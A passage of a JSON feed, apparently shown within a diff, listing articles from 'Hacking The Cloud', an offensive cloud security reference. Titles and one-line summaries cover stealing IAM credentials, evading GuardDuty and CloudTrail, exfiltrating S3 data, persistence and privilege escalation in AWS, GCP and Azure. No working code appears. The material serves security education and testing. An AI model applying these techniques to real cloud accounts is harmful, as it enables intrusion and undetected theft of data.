"https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_published": "2020-09-27T16:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_published": "2020-08-21T17:00:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_published": "2020-08-12T23:15:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_published": "2020-08-05T14:32:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_published": "2020-08-01T17:43:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_published": "2020-07-30T23:28:52+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_published": "2020-07-27T19:47:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}]} \ No newline at end of file +{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_created.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in a Same-Account Scenario", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_published": "2024-07-31T20:37:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_published": "2024-07-30T00:15:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_published": "2024-07-14T21:08:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_published": "2024-05-28T16:27:11+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_published": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_published": "2024-01-29T03:39:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_published": "2024-01-21T17:59:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_published": "2024-01-07T21:28:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_published": "2023-12-20T14:50:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_published": "2023-12-20T01:25:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_published": "2023-12-07T10:12:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_published": "2023-11-20T00:54:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_published": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_published": "2023-08-01T01:58:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_published": "2023-07-13T03:46:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_published": "2023-02-20T16:48:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_published": "2023-02-10T15:12:48+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_published": "2023-01-26T01:02:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_published": "2022-12-14T03:27:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_published": "2022-12-05T02:08:42+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_published": "2022-11-05T00:02:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_published": "2022-10-13T01:37:41+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_published": "2022-09-18T21:18:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_published": "2022-08-24T12:25:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_published": "2022-08-23T14:34:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_published": "2022-07-09T00:02:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_published": "2022-05-14T21:51:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_published": "2022-04-11T23:11:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_published": "2022-03-27T16:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_published": "2022-03-19T16:57:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_published": "2022-03-17T14:35:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_published": "2022-03-13T23:45:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_published": "2022-03-05T04:00:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_published": "2022-02-27T22:50:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_published": "2022-02-09T04:00:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_published": "2022-01-30T10:32:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_published": "2021-12-23T21:59:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_published": "2021-11-30T05:00:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_published": "2021-11-04T21:03:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_published": "2021-10-24T17:41:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_published": "2021-09-16T15:02:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_published": "2021-07-14T20:46:17+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_published": "2021-05-18T19:13:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_published": "2021-04-13T02:53:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_published": "2021-04-03T01:39:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_published": "2021-02-20T04:07:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_published": "2021-02-06T17:17:59+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", 